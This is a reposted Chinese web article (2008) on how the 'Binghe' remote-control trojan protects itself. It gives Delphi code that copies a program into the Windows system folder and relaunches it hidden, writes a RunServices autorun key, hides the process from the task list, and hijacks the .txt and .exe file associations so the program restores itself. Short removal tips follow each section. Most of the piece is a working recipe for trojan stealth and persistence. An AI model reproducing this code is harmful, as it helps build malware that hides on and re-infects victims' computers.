冰河”啟示錄
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 22:12:10 作者:佚名
我要評論

冰河”啟示錄 作者: 陳經(jīng)韜 前言:我經(jīng)常在雜志和報刊上看到此類標(biāo)題的文章,但大多是騙稿費的,沒有任何技術(shù)含量.于是一氣之下寫了這編東西.本人聲明如下:(一)本人對"冰河"及其作者沒有任何不滿,相反,作者肯幫助初學(xué)者的態(tài)度是我們每一個人都應(yīng)該學(xué)習(xí)的.(二)
冰河”啟示錄 作者: 陳經(jīng)韜 前言:我經(jīng)常在雜志和報刊上看到此類標(biāo)題的文章,但大多是騙稿費的,沒有任何技術(shù)含量.于是一氣之下寫了這編東西.本人聲明如下:(一)本人對"冰河"及其作者沒有任何不滿,相反,作者肯幫助初學(xué)者的態(tài)度是我們每一個人都應(yīng)該學(xué)習(xí)的.(二)本文的目的在于交流編程經(jīng)驗,沒有任何其它不良企圖.(三)在一些領(lǐng)域,我們理應(yīng)寧可自制力讓我們的預(yù)見力保持寂寞,也不要去做一個打開潘多拉盒子的先知。所以一些更厲害的方法我們現(xiàn)在不會提,以后也不會 (1) “冰河”是有名的用C Builder編寫的國產(chǎn)遠(yuǎn)程管理軟件,其自我的功能保護很強,下面就以Delphi為例談一談它的原理,希望對大家有一些啟發(fā). 一、程序安裝 此類程序一般會把自己隱藏起來運行,通常不外乎以下幾種方法:自我拷貝法、資源文件法、網(wǎng)頁方式安裝、類病毒捆綁法(如YAI).自我拷貝法適用于本身就一個文件,資源文件法可以同時安裝好幾個文件,網(wǎng)頁方式安裝要先向M$交錢換安全簽證,類病毒捆綁法利用了病毒的原理.本文只介紹自我拷貝法,其它方法請到我的個人主頁去看.http://lovejingtao.126.com 1:自我拷貝法 這種方法的原理是程序運行時先查看自己是不是在特定目錄下,如果是就繼續(xù)運行,如果不是就把自己拷貝到特定目錄下,然后運行新程序,再退出舊程序. 打開Delphi,新建一個工程,在窗口的Create事件中寫代碼: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename < > GetWindir myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{將自己拷貝到Windows\System\下} Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result '\'; end; 另外,為了避免同時運行多個程序的副本(節(jié)約系統(tǒng)資源也),程序一般會弄成每次只能運行一個.這又有幾種方法. 一種方法是程序運行時先查找有沒有相同的運行了,如果有,就立刻退出程序. 修改dpr項目文件,修改begin和end之間的代碼如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //當(dāng)沒有找到FORM1時執(zhí)行下面代碼 Application.ShowMainFORM:=False; //不顯示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一種方法是啟動時會先通過窗口名來確定是否已經(jīng)在運行,如果是則關(guān)閉原先的再啟動?!氨印本褪怯眠@種方法的。 這樣做的好處在于方便升級.它會自動用新版本覆蓋舊版本. 方法如下:修改dpr項目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 為了程序能在Windows每次啟動時自動運行,可以通過六種途徑來實現(xiàn).“冰河”用注冊表的方式。 加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename < > GetWindir myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir myname), False);{//將自己拷貝到Windows\System\下} Winexec(pchar(GetWindir myname), sw_hide);//運行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 為了讓程序用ALT DEL CTRL看不見,在implementation后添加聲明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隱藏 啟示1:當(dāng)我們中了“冰河”,如果被對方上了密碼而無法自己卸載時,可以先找出是什么文件,然后自己配置一個沒有密碼的來運行,這樣它就會把原來有密碼的覆蓋掉,自己就可以輕松用它的卸載功能把它卸掉.如果你會編程,也可以自己寫一個"清除器"了,方法是先查找到窗口名,向它發(fā)送退出命令,再把它刪除即可. (2) “冰河”的自我功能保護很強,它一般通過Txt或Exe文件關(guān)聯(lián)來達到自我恢復(fù).所以有很多人明明把它殺掉了,但重新啟動時又會出現(xiàn).下面舉以Txt文件關(guān)聯(lián)為例. 打開Delphi,新建一個工程,在窗口的Create事件中寫代碼: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //寫注冊表,讓程序跟文本文件關(guān)聯(lián) try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName ' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //寫注冊表,每次啟動時自動運行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir 'Sysplay.exe'))=false then//如果文件已經(jīng)刪除 begin copyfile;//自定義拷貝資源文件過程 winexec(pchar(Getwindir 'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有執(zhí)行參數(shù)傳入 *) sFileName:=ParamStr(1); (* 取得參數(shù)內(nèi)容 *) winexec(pchar('Notepad.exe ' sFileName),sw_show);(*用記事本打開*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改為與Exe文件關(guān)聯(lián),只要把"const K = '\txtfile\shell\open\command';"改為 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe ' sFileName),sw_show);" 改為"winexec(pchar( sFileName),sw_show);"即可.當(dāng)然,還要加入是否退出Windows而運行的Rundll32.dll, 否則會因為關(guān)聯(lián)Exe文件而退不出Windows. 啟示2:手工刪除“冰河”時,還要改掉它的保護功能,不能讓它恢復(fù).如果是關(guān)聯(lián)了文本文件,先改注冊表讓它不能自動運行,重啟后不要打開文本文件,立刻進到其安裝目錄把它刪除.如果是關(guān)聯(lián)了Exe文件,那只有回到Dos下刪.切記:一定要把兩個文件同時刪掉,否則你重啟后會發(fā)現(xiàn)文件又恢復(fù)了.
相關(guān)文章
- 一個自動化的SQL注入工具,其主要功能是掃描、發(fā)現(xiàn)并利用給定URL的SQL注入漏洞,內(nèi)置了很多繞過插件,支持的數(shù)據(jù)庫是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server2023-02-04
- Nmap是一款網(wǎng)絡(luò)掃描和主機檢測的非常有用的工具。Nmap是不局限于僅僅收集信息和枚舉,同時可以用來作為一個漏洞探測器或安全掃描器。它可以適用于winodws,linux,mac等操作2019-03-16
SQLMAP注入檢查方法 11種常見SQLMAP使用方法詳解
sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,很多人都是通過這個工具實施的檢測與注入,對于我們從事安全防御的人來說,一定要引起注意,一般的程序員寫的代2018-08-16- 這篇文章主要介紹了lcx用法之心得總結(jié),需要的朋友可以參考下2017-09-06
lcx端口轉(zhuǎn)發(fā)詳細(xì)介紹及使用方法(lcx內(nèi)網(wǎng)轉(zhuǎn)發(fā)姿勢)
這篇文章主要介紹了lcx端口轉(zhuǎn)發(fā)詳細(xì)介紹及使用方法(lcx內(nèi)網(wǎng)轉(zhuǎn)發(fā)姿勢),需要的朋友可以參考下2017-09-06- 這是我們的Nmap備忘單的第四部分,本文中我們將討論更多東西關(guān)于掃描防火墻,IDS / IPS 逃逸,Web服務(wù)器滲透測試等。在此之前,我們應(yīng)該了解一下防火墻的一些基礎(chǔ)知識以便2016-12-27
- 眾所周知NMAP是經(jīng)常用來進行端口發(fā)現(xiàn)、端口識別。除此之外我們還可以通過NMAP的NSE腳本做很多事情,比如郵件指紋識別,檢索WHOIS記錄,使用UDP服務(wù)等2016-12-27
- 這是我們的第二期NMAP備忘單,基本上,我們將討論一些高級NMAP掃描的技術(shù),我們將進行一個中間人攻擊(MITM)?,F(xiàn)在,游戲開始了2016-12-27
- nmap是一個網(wǎng)絡(luò)連接端掃描軟件,用來掃描網(wǎng)上電腦開放的網(wǎng)絡(luò)連接端。確定哪些服務(wù)運行在哪些連接端,并且推斷計算機運行哪個操作系統(tǒng)(這是亦稱 fingerprinting)。它是網(wǎng)2016-12-27
網(wǎng)絡(luò)漏洞掃描工具Acunetix Web Vulnerability Scanner(AWVS)使用介紹
Acunetix Web Vulnerability Scanner(簡稱AWVS)是一款知名的網(wǎng)絡(luò)漏洞掃描工具,它通過網(wǎng)絡(luò)爬蟲測試你的網(wǎng)站安全,檢測流行安全漏洞。倫敦時間2015年6月24日,官方發(fā)布了2016-09-28